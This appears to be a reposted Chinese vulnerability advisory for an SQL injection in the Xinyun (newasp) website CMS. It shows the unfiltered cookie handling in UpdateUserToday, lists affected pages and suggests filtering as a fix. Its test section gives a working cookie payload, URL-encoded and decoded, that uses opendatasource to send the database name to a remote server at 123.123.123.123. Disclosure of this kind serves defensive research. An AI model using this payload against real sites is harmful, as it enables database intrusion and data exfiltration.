新云网站管理系统UpdateUserToday过程参数过滤不足导致多个页面sql注入漏洞 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    来源:Sobinys Blog

    受影响系统:新云网站管理系统最新版

    发现人的BLOG:http://sobiny.cn

    发现日期:2006年10月中旬

    发布日期:2007年6月上旬

    安全综述:新云网站管理系统是一个采用ASP和MSSQL等其他多种数据库生成静态页面构建的高效网站解决方案,

新云网站管理系统UpdateUserToday过程参数过滤不足导致多个页面sql注入漏洞

    漏洞描述:

    先看const.asp的GetUserTodayInfo过程。

    Lastlogin = Request.Cookies("newasp_net")("LastTime")

    UserDayInfo = Request.Cookies("newasp_net")("UserToday")

    If DateDiff("d",LastLogin,Now())<>0 Then

    ………………

    UserDayInfo = "0,0,0,0,0,0"

    Response.Cookies("newasp_net")("UserToday") = UserDayInfo

    end if

    UserToday = Split(UserDayInfo, ",")

    If Ubound(UserToday) <> 5 Then

    ………………

    UserDayInfo = "0,0,0,0,0,0"

    Response.Cookies("newasp_net")("UserToday") = UserDayInfo

    end if

    然后是

    Public Function updateUserToday(ByVal str)

    On Error Resume Next

    If Trim(str) <> "" Then

    Newasp.Execute("update [NC_User] SET UserToday=" & str & " where username="& Newasp.membername &" And userid=" & Newasp.memberid)

    Response.Cookies("newasp_net")("UserToday") = str

    End If

    End Function

    大家都能看出来。updateUserToday(ByVal str)str没有经过任何过滤就防进了数据库。

    然后就是

    articlepost.asp

    message.asp

    softpost.asp

    upfile.asp

    upload.asp

    这几个文件对GetUserTodayInfo和updateUserToday过程没有验证的直接调用,导致了sql注入

    解决方案:过滤UserDayInfo

    测试方法:

    警 告

    以下程序(方法)可能带有攻击性,仅供安全研究与教学之用,

电脑资料

新云网站管理系统UpdateUserToday过程参数过滤不足导致多个页面sql注入漏洞》(https://www.unjs.com)。使用者风险自负!

    Sobiny(Bug.Center.Team)提供了如下测试方法:

    由于UserDayInfo的格式是 0,0,0,0,0,0每一个字符代表了今天使用的权限,有上传,有短信

    而每使用一次权限,使用权限的那个一数字就会自加1。

    所以在构造语句的时候要注意。

    在提交的页面的过程中。

    在当前权限的数量上必须为数字,否则就会发生错误。

    而且updateUserToday过程On Error Resume Next语句,已经屏蔽了错误提示,所以我采用opendatasource远程数据库写入。

    以message.asp为例

    先发送一条信息抓包,然后修改cookies。

    (发送信息代码的数字为第5个。于是我们在第4个,只后,第5个,之前的字符必须为数字。)

    于是我们修改如下cookies:

    newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0

    为

    newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27

    server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D

    admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0

    然后用NC发包

    就会在远程123.123.123.123服务器上的数据库写入当前的库名。

    %27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E

    123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E

    ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0

    为

    ;insert into opendatasource(sqloledb,server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin).admin.dbo.ku select db_name(0)--,0,0,0,0

最新文章